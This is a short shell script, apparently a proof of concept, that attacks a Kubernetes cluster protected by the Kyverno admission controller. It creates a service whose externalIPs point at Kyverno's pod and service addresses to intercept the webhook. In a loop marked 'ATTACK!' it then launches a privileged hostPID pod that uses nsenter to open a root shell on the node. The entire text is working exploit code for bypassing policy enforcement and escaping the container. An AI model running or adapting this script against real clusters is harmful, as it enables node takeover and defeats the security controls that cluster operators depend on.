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| SVCIP="$(kubectl get svc -n kyverno kyverno-svc --output jsonpath='{.spec.clusterIP}')" | |
| PODNAME="$(kubectl get pod -n kyverno -l app.kubernetes.io/component=admission-controller --output name | sed -e 's/^pod\///g')" | |
| PODIP="$(kubectl get pod -n kyverno $PODNAME --output jsonpath='{.status.podIP}')" | |
| kubectl apply -f - <<EOF | |
| apiVersion: apps/v1 | |
| kind: Deployment | |
| metadata: | |
| name: attack | |
| spec: | |
| selector: | |
| matchLabels: | |
| app: attack | |
| template: | |
| metadata: | |
| labels: | |
| app: attack | |
| spec: | |
| containers: | |
| - image: nginx:latest | |
| name: nginx | |
| ports: | |
| - containerPort: 80 | |
| --- | |
| apiVersion: v1 | |
| kind: Service | |
| metadata: | |
| name: attack | |
| spec: | |
| type: ClusterIP | |
| selector: | |
| app: attack | |
| ports: | |
| - name: https | |
| protocol: TCP | |
| port: 9443 | |
| targetPort: 80 | |
| externalIPs: | |
| - $PODIP | |
| - $SVCIP | |
| EOF | |
| # ATTACK! | |
| while true; do | |
| kubectl scale deployment.v1.apps/attack --replicas=2; | |
| kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"busybox","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}'; | |
| kubectl scale deployment.v1.apps/attack --replicas=3; | |
| done |
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